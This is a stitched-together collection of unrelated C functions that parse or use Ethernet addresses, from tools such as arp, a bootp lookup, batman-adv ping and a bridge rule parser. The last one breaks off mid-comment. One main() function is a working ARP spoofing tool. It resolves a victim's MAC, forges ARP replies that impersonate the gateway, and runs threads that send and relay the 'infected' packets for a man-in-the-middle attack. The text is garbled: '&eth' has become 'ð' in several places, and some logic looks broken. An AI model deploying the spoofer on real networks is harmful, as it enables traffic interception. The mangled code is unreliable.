static struct bootpent * extract_bootp(XDR *xdr) { struct bootpent *b; struct ether_addr *e; int i, j, nvals, nkeys, status; char *key, **vals; if (xdr == NULL) return NULL; if (!xdr_int(xdr, &nkeys)) return NULL; b = (struct bootpent *)calloc(1, sizeof(struct bootpent)); for (i = 0; i < nkeys; i++) { key = NULL; vals = NULL; nvals = 0; status = _lu_xdr_attribute(xdr, &key, &vals, &nvals); if (status < 0) { free_bootp(b); return NULL; } if (nvals == 0) { free(key); continue; } j = 0; if ((b->b_name == NULL) && (!strcmp("name", key))) { b->b_name = vals[0]; j = 1; } if ((b->b_name == NULL) && (!strcmp("bootfile", key))) { b->b_bootfile = vals[0]; j = 1; } else if (!strcmp("ip_address", key)) { b->b_ipaddr.s_addr = inet_addr(vals[0]); } else if (!strcmp("en_address", key)) { pthread_mutex_lock(&_bootp_lock); e = ether_aton(vals[0]); if (e != NULL) memcpy(&(b->b_enaddr), e, sizeof(struct ether_addr)); pthread_mutex_unlock(&_bootp_lock); j = 1; } free(key); if (vals != NULL) { for (; j < nvals; j++) free(vals[j]); free(vals); } } if (b->b_name == NULL) b->b_name = strdup(""); if (b->b_bootfile == NULL) b->b_bootfile = strdup(""); return b; }
/* * Set an individual arp entry */ int set(int argc, char *argv[]) { struct sockaddr_inarp *sin; struct sockaddr_dl *sdl; struct rt_msghdr *rtm; char *eaddr = argv[1], *host = argv[0]; struct ether_addr *ea; sin = &sin_m; rtm = &(m_rtmsg.m_rtm); getsocket(); argc -= 2; argv += 2; sdl_m = blank_sdl; /* struct copy */ sin_m = blank_sin; /* struct copy */ if (getinetaddr(host, &sin->sin_addr) == -1) return (1); ea = ether_aton(eaddr); if (ea == NULL) errx(1, "invalid ethernet address: %s", eaddr); memcpy(LLADDR(&sdl_m), ea, sizeof(*ea)); sdl_m.sdl_alen = 6; expire_time = 0; doing_proxy = flags = export_only = 0; while (argc-- > 0) { if (strncmp(argv[0], "temp", 4) == 0) { struct timeval now; gettimeofday(&now, 0); expire_time = now.tv_sec + 20 * 60; if (flags & RTF_PERMANENT_ARP) { /* temp or permanent, not both */ usage(); return (0); } } else if (strncmp(argv[0], "pub", 3) == 0) { flags |= RTF_ANNOUNCE; doing_proxy = SIN_PROXY; } else if (strncmp(argv[0], "permanent", 9) == 0) { flags |= RTF_PERMANENT_ARP; if (expire_time != 0) { /* temp or permanent, not both */ usage(); return (0); } } argv++; } tryagain: if (rtget(&sin, &sdl)) { warn("%s", host); return (1); } if (sin->sin_addr.s_addr == sin_m.sin_addr.s_addr) { if (sdl->sdl_family == AF_LINK && (rtm->rtm_flags & RTF_LLINFO) && !(rtm->rtm_flags & RTF_GATEWAY)) switch (sdl->sdl_type) { case IFT_ETHER: case IFT_FDDI: case IFT_ISO88023: case IFT_ISO88024: case IFT_ISO88025: case IFT_CARP: goto overwrite; } if (doing_proxy == 0) { printf("set: can only proxy for %s\n", host); return (1); } if (sin_m.sin_other & SIN_PROXY) { printf("set: proxy entry exists for non 802 device\n"); return (1); } sin_m.sin_other = SIN_PROXY; export_only = 1; goto tryagain; } overwrite: if (sdl->sdl_family != AF_LINK) { printf("cannot intuit interface index and type for %s\n", host); return (1); } sdl_m.sdl_type = sdl->sdl_type; sdl_m.sdl_index = sdl->sdl_index; return (rtmsg(RTM_ADD)); }
static void parse_long_opts(int ind, char *opt_arg) { int errno; struct ether_addr *mac; errno = 0; switch(ind) { case CMD_OPT_IND: cmd_usage(); case HLP_OPT_IND: usage(); case GET_OPT_IND: case CRT_OPT_IND: case DEL_OPT_IND: nh_id = strtoul(opt_arg, NULL, 0); if (errno) usage(); nh_set = 1; break; case OIF_OPT_IND: if_id = strtoul(opt_arg, NULL, 0); if (errno) usage(); break; case SMAC_OPT_IND: mac = ether_aton(opt_arg); if (mac) memcpy(src_mac, mac, sizeof(src_mac)); else cmd_usage(); break; case DMAC_OPT_IND: mac = ether_aton(opt_arg); if (mac) memcpy(dst_mac, mac, sizeof(dst_mac)); else cmd_usage(); break; case VRF_OPT_IND: vrf_id = strtoul(opt_arg, NULL, 0); if (errno) usage(); break; case TYPE_OPT_IND: type = strtoul(opt_arg, NULL, 0); if (errno) usage(); break; case SIP_OPT_IND: inet_aton(opt_arg, &sip); break; case DIP_OPT_IND: inet_aton(opt_arg, &dip); break; case SPORT_OPT_IND: sport = strtoul(opt_arg, NULL, 0); if (errno) usage(); break; case CNI_OPT_IND: comp_nh[comp_nh_ind++] = strtoul(opt_arg, NULL, 0); if (errno) usage(); break; case LBL_OPT_IND: lbl[lbl_ind++] = strtoul(opt_arg, NULL, 0); if (errno) usage(); case DPORT_OPT_IND: dport = strtoul(opt_arg, NULL, 0); if (errno) usage(); } }
/* * arp_request() * * Returns: 0 on success, < 0 on error * * Inject an arp request to the address given. * * setsrcipmac() must be called once before using this function * to set the ip and mac. * * setsrcipmac(); * arp_request(pcap_handle, "192.168.2.1"); */ int arp_request(pcap_t* pcap_handle, char* ipaddr_str) { const size_t sizeof_buf = ETHER_HDR_LEN + sizeof(struct ether_arp); u_char packet_data[sizeof_buf]; struct ether_header *ethhdr = NULL; struct ether_arp *ether_arp = NULL; struct ether_addr *ethaddr = NULL; ethhdr = (struct ether_header *) packet_data; ether_arp = (struct ether_arp *) (packet_data + ETHER_HDR_LEN); // // Configure Ethernet header // // destination MAC address ethaddr = ether_aton(MAC_BCAST); // broadcast if (NULL == ethaddr) { fprintf(stderr, "Invalid Ethernet destination address.\n"); return -1; } memcpy(ðhdr->ether_dhost, ethaddr, ETH_ALEN); // source MAC address ethaddr = ether_aton(src_mac); // our MAC if (NULL == ethaddr) { fprintf(stderr, "Invalid Ethernet source address.\n"); return -2; } memcpy(ðhdr->ether_shost, ethaddr, ETH_ALEN); // type ethhdr->ether_type = htons(ETHERTYPE_ARP); // // configure ARP header // // hardware type ether_arp->arp_hrd = htons(ARPHRD_ETHER); // protocol type ether_arp->arp_pro = htons(ETHERTYPE_IP); // hardware address length ether_arp->arp_hln = ETH_ALEN; // protocol address length ether_arp->arp_pln = ARP_PROLEN; // operation ether_arp->arp_op = htons(ARPOP_REQUEST); // sender (our) hardware (MAC) address ethaddr = ether_aton(src_mac); if (NULL == ethaddr) { fprintf(stderr, "Invalid target hardware address.\n"); return -3; } memcpy(ðer_arp->arp_sha, ethaddr, ETH_ALEN); // sender (our) protocol (IP) address inet_pton(AF_INET, src_ip, ðer_arp->arp_spa); // target hardware (MAC) address ethaddr = ether_aton(MAC_ANY); if (NULL == ethaddr) { fprintf(stderr, "Invalid target hardware address.\n"); return -4; } memcpy(ðer_arp->arp_tha, ethaddr, ETH_ALEN); // target protocol (IP) address inet_pton(AF_INET, ipaddr_str, ðer_arp->arp_tpa); // send the ARP packet pcap_inject(pcap_handle, (void *) packet_data, sizeof_buf); return 0; }
int main(int argc, char* argv[]) { libnet_t *l; /* libnet context */ char errbuf[LIBNET_ERRBUF_SIZE]; u_int32_t ip_addr; struct libnet_ether_addr *mac_addr; l = libnet_init(LIBNET_RAW4, NULL, errbuf); uint8_t *dst_mac, *ether_frame; int sd, sd2, sd3, frame_length, bytes; uint8_t *ether_frame2; struct sockaddr_ll device; arp_hdr arphdr_send; arp_hdr *arphdr_receive; ether_frame = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t)); ether_frame2 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t)); memset(ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t)); char buff[1024]; char buff2[1024]; int count = 0; pthread_t p_thread[2]; int thr_id, thr_id2; char str[256]; /* get gateway address */ FILE *in = popen("route", "r"); for (int i = 0; i < 3; i++) { fgets(buff, sizeof(buff), in); } while (buff[count] != ' ') count++; while (buff[count] == ' ') count++; inet_aton(buff + count, &gw_ip_addr); printf("\n [+]Gateway IP Adress : %s\n", inet_ntoa(gw_ip_addr)); pclose(in); /* Address HWtype HWaddress Flags Mask Iface 192.168.230.2 ether 00:50:56:f4:44:1d C ens33 */ sprintf(str, "arp %s",inet_ntoa(gw_ip_addr)); FILE *in2 = popen(str, "r"); count=0; fgets(buff2, sizeof(buff2), in); fgets(buff2, sizeof(buff2), in); while (buff2[count] != ' ') count++; while (buff2[count] == ' ') count++; while (buff2[count] != ' ') count++; while (buff2[count] == ' ') count++; gw_mac_addr=ether_aton(buff2 + count); pclose(in2); printf("\n [+]PRINT REQUEST_PACKET\n"); struct in_addr target_ip_addr; inet_aton(argv[1], &target_ip_addr); printf("target IP Adress : %s\n", inet_ntoa(target_ip_addr)); ///////////////////// 0.get my attacker's mac , ip //////////////////////////////// if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } /* get ip address */ ip_addr = libnet_get_ipaddr4(l); if (ip_addr != 0xff) printf("Src IP address: %s\n", libnet_addr2name4(ip_addr, \ LIBNET_DONT_RESOLVE)); else fprintf(stderr, "Couldn't get own IP address: %s\n", \ libnet_geterror(l)); /* get mac address */ mac_addr = libnet_get_hwaddr(l); if (mac_addr != NULL) printf("Src MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", \ mac_addr->ether_addr_octet[0], \ mac_addr->ether_addr_octet[1], \ mac_addr->ether_addr_octet[2], \ mac_addr->ether_addr_octet[3], \ mac_addr->ether_addr_octet[4], \ mac_addr->ether_addr_octet[5]); else fprintf(stderr, "Couldn't get own MAC address: %s\n", \ libnet_geterror(l)); libnet_destroy(l); // Submit request for a raw socket descriptor. if ((sd2 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { perror("socket() failed "); exit(EXIT_FAILURE); } // Listen for incoming ethernet frame from socket sd. // We expect an ARP ethernet frame of the form: // MAC (6 bytes) + MAC (6 bytes) + ethernet type (2 bytes) // + ethernet data (ARP header) (28 bytes) // Keep at it until we get an ARP reply. arphdr_receive = (arp_hdr *)(ether_frame2 + LIBNET_ETH_H); /////////////////////// 1. send REQUEST packet //////////////////////////// // ARP header (request) // Hardware type (16 bits): 1 for ethernet // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER); arphdr_send.htype = htons(ARPHRD_ETHER); // Protocol type (16 bits): 2048 for IP arphdr_send.ptype = htons(ETHERTYPE_IP); // Hardware address length (8 bits): 6 bytes for MAC address arphdr_send.hlen = 6; // Protocol address length (8 bits): 4 bytes for IPv4 address arphdr_send.plen = 4; // OpCode: 1 for ARP request arphdr_send.opcode = htons(ARPOP_REQUEST); // Sender hardware address (48 bits): MAC address memcpy(&arphdr_send.sender_mac, mac_addr, 6 * sizeof(uint8_t)); // Sender protocol address (32 bits) memcpy(&arphdr_send.sender_ip, &ip_addr, 4 * sizeof(uint8_t)); // See getaddrinfo() resolution of src_ip;. // Target hardware address (48 bits): zero, since we don't know it yet. memset(&arphdr_send.target_mac, 0, 6 * sizeof(uint8_t)); // Target protocol address (32 bits) memcpy(&arphdr_send.target_ip, &target_ip_addr, 4 * sizeof(uint8_t)); // Fill out ethernet frame header. // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header) frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H; // Set destination MAC address: broadcast address dst_mac = (uint8_t *)malloc(6 * sizeof(uint8_t)); memset(dst_mac, 0xff, 6 * sizeof(uint8_t)); // Destination and Source MAC addresses memcpy(ether_frame, dst_mac, 6 * sizeof(uint8_t)); memcpy(ether_frame + 6, mac_addr->ether_addr_octet, 6 * sizeof(uint8_t)); // Next is ethernet type code (ETH_P_ARP for ARP). ether_frame[12] = ETHERTYPE_ARP / 256; ether_frame[13] = ETHERTYPE_ARP % 256; // Next is ethernet frame data (ARP header). // ARP header memcpy(ether_frame + LIBNET_ETH_H, &arphdr_send, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t)); // Submit request for a raw socket descriptor. if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { perror("socket() failed "); exit(EXIT_FAILURE); } // struct sockaddr_ll device, which will be used as an argument of sendto(). memset(&device, 0, sizeof(device)); if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) { perror("if_nametoindex() failed to obtain interface index "); exit(EXIT_FAILURE); } // Fill out sockaddr_ll. device.sll_family = AF_PACKET; memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t)); device.sll_halen = 6; // Send ethernet frame to socket. if ((bytes = sendto(sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof(device))) <= 0) { perror("sendto() failed"); exit(EXIT_FAILURE); } ///////////////////////////// 2. receive packet /////////////////////// while (((((ether_frame2[12]) << 8) + ether_frame2[13]) != ETH_P_ARP) || (ntohs(arphdr_receive->opcode) != ARPOP_REPLY)) { if ((recv(sd2, ether_frame2, IP_MAXPACKET, 0)) < 0) { if (errno == EINTR) { memset(ether_frame2, 0, IP_MAXPACKET * sizeof(uint8_t)); continue; } else { perror("recv() failed:"); exit(EXIT_FAILURE); } } } ////////////////// print received packet /////////////////// // Print out contents of received ethernet frame. printf("\n [+]PRINT REPLY_PACKET"); printf("\nEthernet frame header:\n"); printf("Destination MAC (this node): "); int i = 0; for (i = 0; i < 5; i++) { printf("%02x:", ether_frame2[i]); } printf("%02x\n", ether_frame2[5]); printf("Source MAC: "); for (i = 0; i < 5; i++) { printf("%02x:", ether_frame2[i + 6]); } printf("%02x\n", ether_frame2[11]); // Next is ethernet type code (ETH_P_ARP for ARP). printf("Ethernet type code (2054 = ARP): %u\n", ((ether_frame2[12]) << 8) + ether_frame2[13]); printf("Ethernet data (ARP header):\n"); printf("Hardware type (1 = ethernet (10 Mb)): %u\n", ntohs(arphdr_receive->htype)); printf("Protocol type (2048 for IPv4 addresses): %u\n", ntohs(arphdr_receive->ptype)); printf("Hardware (MAC) address length (bytes): %u\n", arphdr_receive->hlen); printf("Protocol (IPv4) address length (bytes): %u\n", arphdr_receive->plen); printf("Opcode (2 = ARP reply): %u\n", ntohs(arphdr_receive->opcode)); printf("Sender hardware (MAC) address: "); for (i = 0; i < 5; i++) { printf("%02x:", arphdr_receive->sender_mac[i]); } printf("%02x\n", arphdr_receive->sender_mac[5]); printf("Sender protocol (IPv4) address: %u.%u.%u.%u\n", arphdr_receive->sender_ip[0], arphdr_receive->sender_ip[1], arphdr_receive->sender_ip[2], arphdr_receive->sender_ip[3]); printf("Target hardware (MAC) address: "); for (i = 0; i < 5; i++) { printf("%02x:", arphdr_receive->target_mac[i]); } printf("%02x\n", arphdr_receive->target_mac[5]); printf("Target protocol (IPv4) address: %u.%u.%u.%u\n", arphdr_receive->target_ip[0], arphdr_receive->target_ip[1], arphdr_receive->target_ip[2], arphdr_receive->target_ip[3]); printf("\n"); ////////////////////// 3.send spoofing packet ///////////////////////////////////// arp_hdr arphdr_spoof; uint8_t *ether_frame3; ether_frame3 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t)); memset(ether_frame3, 0, IP_MAXPACKET * sizeof(uint8_t)); // ARP header (request) // target mac = victim // sender mac = attacker // target ip = victim // sender ip = gateway // dst mac = victim mac // src mac = attacter mac // Hardware type (16 bits): 1 for ethernet // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER); arphdr_spoof.htype = htons(ARPHRD_ETHER); // Protocol type (16 bits): 2048 for IP arphdr_spoof.ptype = htons(ETHERTYPE_IP); // Hardware address length (8 bits): 6 bytes for MAC address arphdr_spoof.hlen = 6; // Protocol address length (8 bits): 4 bytes for IPv4 address arphdr_spoof.plen = 4; // OpCode: 1 for ARP request arphdr_spoof.opcode = htons(ARPOP_REPLY); // Sender hardware address (48 bits): MAC address memcpy(&arphdr_spoof.sender_mac, &arphdr_send.sender_mac, 6 * sizeof(uint8_t)); // Sender protocol address (32 bits) : gateway address memcpy(arphdr_spoof.sender_ip, &gw_ip_addr, 4 * sizeof(uint8_t)); // See getaddrinfo() resolution of src_ip;. // Target hardware address (48 bits): victim address memcpy(&arphdr_spoof.target_mac, arphdr_receive->sender_mac , 6 * sizeof(uint8_t) ); // Target protocol address (32 bits) memcpy(&arphdr_spoof.target_ip, &arphdr_send.target_ip, 4 * sizeof(uint8_t)); // Fill out ethernet frame header. // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header) frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H; // Set destination MAC address: broadcast address uint8_t *dst_mac_spf; dst_mac_spf = (uint8_t *)malloc(6 * sizeof(uint8_t)); memcpy(dst_mac_spf, arphdr_receive->sender_mac, 6 * sizeof(uint8_t)); // Destination and Source MAC addresses memcpy(ether_frame3, arphdr_receive->sender_mac, 6 * sizeof(uint8_t)); memcpy(ether_frame3 + 6, arphdr_receive->target_mac, 6 * sizeof(uint8_t)); // Next is ethernet type code (ETH_P_ARP for ARP). // http://www.iana.org/assignments/ethernet-numbers ether_frame3[12] = ETHERTYPE_ARP / 256; ether_frame3[13] = ETHERTYPE_ARP % 256; // Next is ethernet frame data (ARP header). // ARP header memcpy(ether_frame3 + LIBNET_ETH_H, &arphdr_spoof, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t)); // Submit request for a raw socket descriptor. if ((sd3 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { perror("socket() failed "); exit(EXIT_FAILURE); } // Find interface index from interface name and store index in // struct sockaddr_ll device, which will be used as an argument of sendto(). memset(&device, 0, sizeof(device)); if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) { perror("if_nametoindex() failed to obtain interface index "); exit(EXIT_FAILURE); } // Fill out sockaddr_ll. device.sll_family = AF_PACKET; memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t)); device.sll_halen = 6; printf("\n [+]SEND SPOOFING PACKET \n"); char *mac_buff; mac_buff = (char *)malloc(17 * sizeof(char)); //Parameter param; spoof_P.sd = sd3; spoof_P.ether_frame = ether_frame3; spoof_P.frame_length = frame_length; spoof_P.device = device; arp_hdr pk; pk.htype = htons(ARPHRD_ETHER); pk.ptype = htons(ETHERTYPE_IP); pk.hlen = 6; //6 bytes for MAC address pk.plen = 4; //4 bytes for IPv4 address pk.opcode=htons(ARPOP_REQUEST); memcpy(pk.sender_mac, arphdr_spoof.target_mac, 6 * sizeof(uint8_t)); memcpy(pk.sender_ip, arphdr_spoof.target_ip, 4 * sizeof(uint8_t)); memcpy(pk.target_mac, arphdr_spoof.sender_mac, 6 * sizeof(uint8_t)); memcpy(pk.target_ip, arphdr_spoof.sender_ip, 4 * sizeof(uint8_t)); thr_id = pthread_create(&p_thread[0], NULL, send_packet, (void *)&spoof_P); //send infected packet thr_id2 = pthread_create(&p_thread[1], NULL, relay_packet, (void *)&pk); // relay infected packet pthread_join(p_thread[0],NULL); pthread_join(p_thread[1],NULL); free(mac_buff); free(dst_mac); free(ether_frame); free(ether_frame2); close(sd); close(sd2); close(sd3); return (EXIT_SUCCESS); }
int ping(char *mesh_iface, int argc, char **argv) { struct icmp_packet_rr icmp_packet_out, icmp_packet_in; struct timeval tv; struct ether_addr *dst_mac = NULL, *rr_mac = NULL; struct bat_host *bat_host, *rr_host; ssize_t read_len; fd_set read_socket; int ret = EXIT_FAILURE, ping_fd = 0, res, optchar, found_args = 1; int loop_count = -1, loop_interval = 0, timeout = 1, rr = 0, i; unsigned int seq_counter = 0, packets_out = 0, packets_in = 0, packets_loss; char *dst_string, *mac_string, *rr_string; double time_delta; float min = 0.0, max = 0.0, avg = 0.0, mdev = 0.0; uint8_t last_rr_cur = 0, last_rr[BAT_RR_LEN][ETH_ALEN]; size_t packet_len; char *debugfs_mnt; char icmp_socket[MAX_PATH+1]; while ((optchar = getopt(argc, argv, "hc:i:t:R")) != -1) { switch (optchar) { case 'c': loop_count = strtol(optarg, NULL , 10); if (loop_count < 1) loop_count = -1; found_args += ((*((char*)(optarg - 1)) == optchar ) ? 1 : 2); break; case 'h': ping_usage(); return EXIT_SUCCESS; case 'i': loop_interval = strtol(optarg, NULL , 10); if (loop_interval < 1) loop_interval = 1; found_args += ((*((char*)(optarg - 1)) == optchar ) ? 1 : 2); break; case 't': timeout = strtol(optarg, NULL , 10); if (timeout < 1) timeout = 1; found_args += ((*((char*)(optarg - 1)) == optchar ) ? 1 : 2); break; case 'R': rr = 1; found_args++; break; default: ping_usage(); return EXIT_FAILURE; } } if (argc <= found_args) { printf("Error - target mac address or bat-host name not specified\n"); ping_usage(); return EXIT_FAILURE; } dst_string = argv[found_args]; bat_hosts_init(0); bat_host = bat_hosts_find_by_name(dst_string); if (bat_host) dst_mac = &bat_host->mac_addr; if (!dst_mac) { dst_mac = ether_aton(dst_string); if (!dst_mac) { printf("Error - the ping destination is not a mac address or bat-host name: %s\n", dst_string); goto out; } } mac_string = ether_ntoa_long(dst_mac); signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); debugfs_mnt = debugfs_mount(NULL); if (!debugfs_mnt) { printf("Error - can't mount or find debugfs\n"); goto out; } debugfs_make_path(SOCKET_PATH_FMT, mesh_iface, icmp_socket, sizeof(icmp_socket)); ping_fd = open(icmp_socket, O_RDWR); if (ping_fd < 0) { printf("Error - can't open a connection to the batman adv kernel module via the socket '%s': %s\n", icmp_socket, strerror(errno)); printf("Check whether the module is loaded and active.\n"); goto out; } packet_len = sizeof(struct icmp_packet); memcpy(&icmp_packet_out.dst, dst_mac, ETH_ALEN); icmp_packet_out.packet_type = BAT_ICMP; icmp_packet_out.version = COMPAT_VERSION; icmp_packet_out.msg_type = ECHO_REQUEST; icmp_packet_out.ttl = 50; icmp_packet_out.seqno = 0; if (rr) { packet_len = sizeof(struct icmp_packet_rr); icmp_packet_out.rr_cur = 1; memset(&icmp_packet_out.rr, 0, BAT_RR_LEN * ETH_ALEN); memset(last_rr, 0, BAT_RR_LEN * ETH_ALEN); } printf("PING %s (%s) %zu(%zu) bytes of data\n", dst_string, mac_string, packet_len, packet_len + 28); while (!is_aborted) { tv.tv_sec = timeout; tv.tv_usec = 0; if (loop_count == 0) break; if (loop_count > 0) loop_count--; icmp_packet_out.seqno = htons(++seq_counter); if (write(ping_fd, (char *)&icmp_packet_out, packet_len) < 0) { printf("Error - can't write to batman adv kernel file '%s': %s\n", icmp_socket, strerror(errno)); goto sleep; } start_timer(); FD_ZERO(&read_socket); FD_SET(ping_fd, &read_socket); res = select(ping_fd + 1, &read_socket, NULL, NULL, &tv); if (is_aborted) break; packets_out++; if (res == 0) { printf("Reply from host %s timed out\n", dst_string); goto sleep; } if (res < 0) goto sleep; read_len = read(ping_fd, (char *)&icmp_packet_in, packet_len); if (read_len < 0) { printf("Error - can't read from batman adv kernel file '%s': %s\n", icmp_socket, strerror(errno)); goto sleep; } if ((size_t)read_len < packet_len) { printf("Warning - dropping received packet as it is smaller than expected (%zu): %zd\n", packet_len, read_len); goto sleep; } switch (icmp_packet_in.msg_type) { case ECHO_REPLY: time_delta = end_timer(); printf("%zd bytes from %s icmp_seq=%hu ttl=%d time=%.2f ms", read_len, dst_string, ntohs(icmp_packet_in.seqno), icmp_packet_in.ttl, time_delta); if (read_len == sizeof(struct icmp_packet_rr)) { if (last_rr_cur == icmp_packet_in.rr_cur && !memcmp(last_rr, icmp_packet_in.rr, BAT_RR_LEN * ETH_ALEN)) { printf("\t(same route)"); } else { printf("\nRR: "); for (i = 0; i < BAT_RR_LEN && i < icmp_packet_in.rr_cur; i++) { rr_mac = (struct ether_addr *)&icmp_packet_in.rr[i]; rr_host = bat_hosts_find_by_mac((char *)rr_mac); if (rr_host) rr_string = rr_host->name; else rr_string = ether_ntoa_long(rr_mac); printf("\t%s\n", rr_string); if (memcmp(rr_mac, dst_mac, ETH_ALEN) == 0) printf("\t%s\n", rr_string); } last_rr_cur = icmp_packet_in.rr_cur; memcpy(last_rr, icmp_packet_in.rr, BAT_RR_LEN * ETH_ALEN); } } printf("\n"); if ((time_delta < min) || (min == 0.0)) min = time_delta; if (time_delta > max) max = time_delta; avg += time_delta; mdev += time_delta * time_delta; packets_in++; break; case DESTINATION_UNREACHABLE: printf("From %s: Destination Host Unreachable (icmp_seq %hu)\n", dst_string, ntohs(icmp_packet_in.seqno)); break; case TTL_EXCEEDED: printf("From %s: Time to live exceeded (icmp_seq %hu)\n", dst_string, ntohs(icmp_packet_in.seqno)); break; case PARAMETER_PROBLEM: printf("Error - the batman adv kernel module version (%d) differs from ours (%d)\n", icmp_packet_in.ttl, COMPAT_VERSION); printf("Please make sure to compatible versions!\n"); goto out; default: printf("Unknown message type %d len %zd received\n", icmp_packet_in.msg_type, read_len); break; } sleep: if (loop_interval > 0) sleep(loop_interval); else if ((tv.tv_sec != 0) || (tv.tv_usec != 0)) select(0, NULL, NULL, NULL, &tv); } if (packets_out == 0) packets_loss = 0; else packets_loss = ((packets_out - packets_in) * 100) / packets_out; if (packets_in) { avg /= packets_in; mdev /= packets_in; mdev = mdev - avg * avg; if (mdev > 0.0) mdev = sqrt(mdev); else mdev = 0.0; } else { avg = 0.0; mdev = 0.0; } printf("--- %s ping statistics ---\n", dst_string); printf("%u packets transmitted, %u received, %u%% packet loss\n", packets_out, packets_in, packets_loss); printf("rtt min/avg/max/mdev = %.3f/%.3f/%.3f/%.3f ms\n", min, avg, max, mdev); ret = EXIT_SUCCESS; out: bat_hosts_free(); if (ping_fd) close(ping_fd); return ret; }
/* * Parse a rule definition and send it upwards. * * Syntax: * {block|pass} {in|out|in/out} on {ifs} [src {mac}] [dst {mac}] */ int bridge_rule(int s, char *brdg, int targc, char **targv, int ln) { char **argv = targv; int argc = targc; struct ifbrlreq rule; struct ether_addr *ea, *dea; short sec; if (argc == 0) { printf("%% Invalid rule\n"); return (EX_USAGE); } rule.ifbr_tagname[0] = 0; rule.ifbr_flags = 0; rule.ifbr_action = 0; strlcpy(rule.ifbr_name, brdg, sizeof(rule.ifbr_name)); sec = 1; if (strcmp(argv[0], "block") == 0) rule.ifbr_action = BRL_ACTION_BLOCK; else if (strcmp(argv[0], "pass") == 0) rule.ifbr_action = BRL_ACTION_PASS; else goto bad_rule; argc--; argv++; sec++; /* 2 */ if (argc == 0) { bridge_badrule(targc, targv, ln, sec); return (EX_USAGE); } if (strcmp(argv[0], "in") == 0) rule.ifbr_flags |= BRL_FLAG_IN; else if (strcmp(argv[0], "out") == 0) rule.ifbr_flags |= BRL_FLAG_OUT; else if (strcmp(argv[0], "in/out") == 0) rule.ifbr_flags |= BRL_FLAG_IN | BRL_FLAG_OUT; else goto bad_rule; argc--; argv++; sec++; /* 3 */ if (argc == 0 || strcmp(argv[0], "on")) goto bad_rule; argc--; argv++; sec++; /* 4 */ if (argc == 0 || !is_valid_ifname(argv[0])) goto bad_rule; strlcpy(rule.ifbr_ifsname, argv[0], sizeof(rule.ifbr_ifsname)); argc--; argv++; sec++; /* 5 */ while (argc) { if (strcmp(argv[0], "dst") == 0) { if (rule.ifbr_flags & BRL_FLAG_DSTVALID) goto bad_rule; rule.ifbr_flags |= BRL_FLAG_DSTVALID; dea = &rule.ifbr_dst; } else if (strcmp(argv[0], "src") == 0) { if (rule.ifbr_flags & BRL_FLAG_SRCVALID) goto bad_rule; rule.ifbr_flags |= BRL_FLAG_SRCVALID; dea = &rule.ifbr_src; } else if (strcmp(argv[0], "tag") == 0) { if (argc < 2) { printf("%% missing tag name\n"); goto bad_rule; } if (rule.ifbr_tagname[0]) { printf("%% tag already defined\n"); goto bad_rule; } if (strlcpy(rule.ifbr_tagname, argv[1], PF_TAG_NAME_SIZE) > PF_TAG_NAME_SIZE) { printf("%% tag name too long\n"); goto bad_rule; } dea = NULL; } else goto bad_rule; argc--; argv++; sec++; if (argc == 0) goto bad_rule; if (dea != NULL) { ea = ether_aton(argv[0]); if (ea == NULL) { printf("%% Invalid address: %s\n", argv[0]); return (0); } bcopy(ea, dea, sizeof(*dea)); } argc--; argv++; sec++; } if (ioctl(s, SIOCBRDGARL, &rule) < 0) { printf("%% unable to add rule: SIOCBRDGARL: %s\n", strerror(errno)); return (EX_IOERR); } return (0); bad_rule: bridge_badrule(targc, targv, ln, sec); return (EX_USAGE); }
void *receive(void *threadid) { long tid; tid = (long) threadid; printf("Thread %ld in receive\n",tid); struct sockaddr_ll dev; struct sockaddr saddr; int saddr_size; saddr_size = sizeof saddr; iph = (struct ipheader *)malloc(sizeof( struct ipheader)); uint8_t *data; data=(unsigned char *)malloc(PACKET_SIZE - HEADER_LEN); //memset(&data,0,sizeof(data)); memset (&dev, 0, sizeof (dev)); char *buffer = (char *) malloc(PACKET_SIZE); //memset(buffer,0,sizeof(buffer)); neg = (struct negative *)malloc(sizeof( struct negative)); int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_ALL)) ; if(sock_raw < 0) { //Print the error with proper message perror("Socket Error"); //return 1; } dev.sll_family=AF_PACKET; dev.sll_protocol=htons(ETH_P_IP); //////give interface name if ((dev.sll_ifindex = if_nametoindex ("eth4") == 0)) { perror ("if_nametoindex() failed to obtain interface index "); exit (EXIT_FAILURE); } if(bind(sock_raw,(struct sockaddr *)&dev, sizeof(dev))==-1) { perror("error to bind"); exit(-1); } /////////////////// int data_size=0,bytes=0; struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr)); struct ether_addr *ea_dest,*ea_src; ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr)); struct sockaddr_ll device_recv; memset (&device_recv, 0, sizeof (device_recv)); char *interface="eth4"; char ether_frame[PACKET_SIZE]; if ((device_recv.sll_ifindex = if_nametoindex (interface)) == 0) { perror ("if_nametoindex() failed to obtain interface index "); exit (EXIT_FAILURE); } // ea_src=ether_aton("a0:36:9f:09:27:c6"); // memcpy(eth->h_source,ea_src->ether_addr_octet,6); // ea_dest=ether_aton("a0:36:9f:0a:5c:d9"); // 